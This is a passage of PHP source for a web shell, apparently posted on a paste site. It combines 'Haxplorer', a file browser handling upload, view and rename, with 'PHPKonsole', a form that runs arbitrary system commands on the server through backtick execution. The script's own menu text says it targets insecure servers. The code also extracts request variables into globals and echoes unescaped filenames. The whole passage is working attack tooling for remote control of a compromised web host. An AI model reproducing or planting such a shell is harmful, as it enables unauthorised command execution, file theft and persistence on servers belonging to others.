  733. elseif ( $cmd=="uploadproc" ) { /* <!-- Process Uploaded file --> */
  734. echo "<center><table><tr><td NOWRAP>";
  735. if (file_exists($userfile))
  736. $res = copy($userfile, "$dir/$userfile_name");
  737. echo "Uploaded \"$userfile_name\" to \"$userfile\"; <br>\n";
  738. if ($res) {
  739. echo "Successfully moved \"$userfile\" to \"$dir/$userfile_name\".\n<br><br>";
  740. echo "Local filename: \"$userfile_name\".\n<br>Remote filename: \"$userfile\".\n<br>";
  741. echo "Filesize: ".formatsize($userfile_size).".\n<br>Filetype: $userfile_type.\n<br>";
  742. }
  743. else {
  744. echo "Could not move uploaded file; Action aborted...";
  745. }
  746. echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ;
  747. echo "<br><br></td></tr></table></center>";
  748. }
  749. elseif ( $cmd=="file" ) { /* <!-- View a file in text --> */
  750. echo "<hr>";
  751. $fc = @file( $file ); while ( @list( $ln, $line ) = each( $fc ) ) {
  752. echo spacetonbsp(@htmlentities($line))."<br>\n";
  753. }
  754. echo "<hr>";
  755. }
  756. elseif ( $cmd=="ren" ) { /* <!-- File and Directory Rename --> */
  757. if (function_exists('is_dir')) {
  758. if (is_dir("$oldfile")) {
  759. $objname = "Directory";
  760. $objident = "Directory";
  761. }
  762. else {
  763. $objname = "Filename";
  764. $objident = "file";
  765. }
  766. }
  767. echo "<table width=100% border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td width=100% style=\"class=\"silver border\"><center>&nbsp;Rename a file:&nbsp;</center></td></tr></table><br>\n";
  768. If (empty($newfile) != true) {
  769. echo "<center>";
  770. $return = @rename($oldfile, "$olddir$newfile");
  771. if ($return) {
  772. echo "$objident renamed successfully:<br><br>Old $objname: \"$oldfile\".<br>New $objname: \"$olddir$newfile\"";
  773. }
  774. else {
  775. if ( @file_exists("$olddir$newfile") ) {
  776. echo "Error: The $objident does already exist...<br><br>\"$olddir$newfile\"<br><br>Hit your browser's back to try again...";
  777. }
  778. else {
  779. echo "Error: Can't copy the file, the file could be in use or you don't have permission to rename it.";
  780. }
  781. }
  782. echo "<form action=\"$SFileName?$urlAdd\" method=\"POST\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input tabindex=\"0\" type=\"submit\" value=\"Back to Haxplorer\"></form></center>" ;
  783. }
  784. else {
  785. $dpos = strrpos($oldfile, "/");
  786. if (strval($dpos)!="") {
  787. $olddir = substr($oldfile, 0, $dpos+1);
  788. }
  789. else {
  790. $olddir = "$lastdir/";
  791. }
  792. $fpos = strrpos($oldfile, "/");
  793. if (strval($fpos)!="") {
  794. $inputfile = substr($oldfile, $fpos+1);
  795. }
  796. else {
  797. $inputfile = "";
  798. }
  799. echo "<center><table><tr><td><form action=\"$SFileName?$urlAdd\" method=\"post\">\n";
  800. echo "<input type=\"hidden\" name=\"cmd\" value=\"ren\">\n";
  801. echo "<input type=\"hidden\" name=\"oldfile\" value=\"$oldfile\">\n";
  802. echo "<input type=\"hidden\" name=\"olddir\" value=\"$olddir\">\n";
  803. echo "<input type=\"hidden\" name=\"lastcmd\" value=\"$lastcmd\">\n";
  804. echo "<input type=\"hidden\" name=\"lastdir\" value=\"$lastdir\">\n";
  805. echo "Rename \"$oldfile\" to:<br>\n";
  806. echo "<input size=\"100\" type=\"text\" name=\"newfile\" value=\"$inputfile\"><br><input type=\"submit\" value=\"Rename\">";
  807. echo "</form><form action=\"$SFileName?$urlAdd\" method=\"post\"><input type=\"hidden\" name=\"cmd\" value=\"$lastcmd\"><input type=\"hidden\" name=\"dir\" value=\"$lastdir\"><input type=\"submit\" value=\"Cancel\"></form>";
  808. echo "</td></tr></table></center>";
  809. }
  810. }
  811. else if ( $cmd == "con") {
  812.  
  813. ?>
  814. <center>
  815. <table>
  816. <tr><td>
  817. <h3>PHPKonsole</h3>
  818.  
  819. <?php
  820.  
  821. if (ini_get('register_globals') != '1') {
  822. if (!empty($HTTP_POST_VARS))
  823. extract($HTTP_POST_VARS);
  824.  
  825. if (!empty($HTTP_GET_VARS))
  826. extract($HTTP_GET_VARS);
  827.  
  828. if (!empty($HTTP_SERVER_VARS))
  829. extract($HTTP_SERVER_VARS);
  830. }
  831.  
  832. if (!empty($work_dir)) {
  833. if (!empty($command)) {
  834. if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {
  835. if ($regs[1][0] == '/') {
  836. $new_dir = $regs[1];
  837. } else {
  838. $new_dir = $work_dir . '/' . $regs[1];
  839. }
  840. if (file_exists($new_dir) && is_dir($new_dir)) {
  841. $work_dir = $new_dir;
  842. }
  843. unset($command);
  844. }
  845. }
  846. }
  847. if (file_exists($work_dir) && is_dir($work_dir)) {
  848. chdir($work_dir);
  849. }
  850. $work_dir = exec('pwd');
  851. ?>
  852.  
  853. <form name="myform" action="<?php echo "$PHP_SELF?$urlAdd" ?>" method="post">
  854. <table border=0 cellspacing=0 cellpadding=0 width="100%"><tr><td>Current working directory: <b>
  855. <input type="hidden" name="cmd" value="con">
  856. <?php
  857. $work_dir_splitted = explode('/', substr($work_dir, 1));
  858. printf('<a href="%s?$urlAddcmd=con&stderr=%s&work_dir=/">Root</a>/', $PHP_SELF, $stderr);
  859. if (!empty($work_dir_splitted[0])) {
  860. $path = '';
  861. for ($i = 0; $i < count($work_dir_splitted); $i++) {
  862. $path .= '/' . $work_dir_splitted[$i];
  863. printf('<a href="%s?$urlAddcmd=con&stderr=%s&work_dir=%s">%s</a>/', $PHP_SELF, $stderr, urlencode($path), $work_dir_splitted[$i]);
  864. }
  865. }
  866. ?></b></td>
  867. <td align="right">Choose new working directory: <select class="inputtext" name="work_dir" onChange="this.form.submit()">
  868.  
  869. <?php
  870. $dir_handle = opendir($work_dir);
  871. while ($dir = readdir($dir_handle)) {
  872. if (is_dir($dir)) {
  873. if ($dir == '.') {
  874. echo "<option value=\"$work_dir\" selected>Current Directory</option>\n";
  875. } elseif ($dir == '..') {
  876. if (strlen($work_dir) == 1) {
  877. }
  878. elseif (strrpos($work_dir, '/') == 0) {
  879. echo "<option value=\"/\">Parent Directory</option>\n";
  880. } else {
  881. echo "<option value=\"". strrev(substr(strstr(strrev($work_dir), "/"), 1)) ."\">Parent Directory</option>\n";
  882. }
  883. } else {
  884. if ($work_dir == '/') {
  885. echo "<option value=\"$work_dir$dir\">$dir</option>\n";
  886. } else {
  887. echo "<option value=\"$work_dir/$dir\">$dir</option>\n";
  888. }
  889. }
  890. }
  891. }
  892. closedir($dir_handle);
  893. ?>
  894. </select></td></tr></table>
  895. <p>Command: <input class="inputtext" type="text" name="command" size="60">
  896. <input name="submit_btn" class="inputbutton" type="submit" value="Execute Command"></p>
  897. <p>Enable <code>stderr</code>-trapping? <input type="checkbox" name="stderr"<?php if (($stderr) || (!isset($stderr)) ) echo " CHECKED"; ?>></p>
  898. <textarea cols="80" rows="19" class="inputtextarea" wrap=off readonly><?php
  899. if (!empty($command)) {
  900. echo "phpKonsole> ". htmlspecialchars($command) . "\n\n";
  901. if ($stderr) {
  902. $tmpfile = tempnam('/tmp', 'phpshell');
  903. $command .= " 1> $tmpfile 2>&1; " . "cat $tmpfile; rm $tmpfile";
  904. } else if ($command == 'ls') {
  905. $command .= ' -F';
  906. }
  907. $output = `$command`;
  908. echo htmlspecialchars($output);
  909. }
  910. ?></textarea>
  911. </form>
  912.  
  913. <script language="JavaScript" type="text/javascript">
  914. document.forms[0].command.focus();
  915. </script>
  916. </td></tr></table>
  917. <?php
  918. }
  919. else { /* <!-- There is a incorrect or no parameter specified... Let's open the main menu --> */
  920. $isMainMenu = true;
  921. ?>
  922. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  923. <tr>
  924. <td width="100%" class="border">
  925. <center>&nbsp;-<[{ <?php echo $scriptTitle ?> Main Menu }]>-&nbsp;</center>
  926. </td>
  927. </tr>
  928. </table>
  929. <br>
  930. <center>
  931. <table border="0" NOWRAP>
  932. <tr>
  933. <td valign="top" class="silver border">
  934. <?php echo buildUrl( sp(2)."<font color=\"navy\"><strong>==> Haxplorer <==</strong></font>", "cmd=dir&dir=.").sp(2); ?>
  935. </td>
  936. <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP>
  937. Haxplorer is a server side file browser wich (ab)uses the directory object to list
  938. the files and directories stored on a webserver. This handy tools allows you to manage
  939. files and directories on a unsecure server with php support.<br><br>This entire script
  940. is coded for unsecure servers, if your server is secured the script will hide commands
  941. or will even return errors to your browser...<br><br>
  942. </td>
  943. </tr>
  944. <tr>
  945. <td valign="top" class="silver border">
  946. <?php echo buildUrl( sp(2)."<font color=\"navy\"><strong>==> PHPKonsole <==</strong></font>", "cmd=con").sp(2); ?>
  947. </td>
  948. <td style="BORDER-TOP: silver 1px solid;" width=350 NOWRAP>
  949. <br>PHPKonsole is just a little telnet like shell wich allows you to run commands on the webserver.
  950. When you run commands they will run as the webservers UserID. This should work perfectly
  951. for managing files, like moving, copying etc. If you're using a linux server, system commands
  952. such as ls, mv and cp will be available for you... <br><br>This function will only work if the
  953. server supports php and the execute commands...<br><br>
  954. </td>
  955. </tr>
  956. </table>
  957. </center>
  958. <br>
  959. <?php
  960. }
  961.  
  962. if ($cmd != "downl") {
  963. if ( $isMainMenu != true) {
  964. ?>
  965. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  966. <tr>
  967. <td width="100%" style="class="silver border">
  968. <center><strong>
  969. &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;Main Menu&nbsp;] </font>", "cmd=&dir="); ?>&nbsp;&nbsp;
  970. &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;PHPKonsole&nbsp;] </font>", "cmd=con"); ?>&nbsp;&nbsp;
  971. &nbsp;&nbsp;<?php echo buildUrl("<font color=\"navy\">[&nbsp;Haxplorer&nbsp;] </font>", "cmd=dir&dir=."); ?> &nbsp;&nbsp;
  972. </strong></center>
  973. </td>
  974. </tr>
  975. </table>
  976. <br>
  977. <?php
  978. }
  979. ?>
  980. <table width=100% border="0" cellpadding="0" cellspacing="0">
  981. <tr>
  982. <td width="100%" class="silver border">
  983. <center>&nbsp;<?php echo $scriptident ?> - <?php echo $scriptver ?> - <?php echo $scriptdate ?>&nbsp;</center>
  984. </td>
  985. </tr>
  986. </table>
  987. </td>
  988. </tr>
  989. </table>
  990.  
  991. <?php
  992. }
  993.  
  994. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement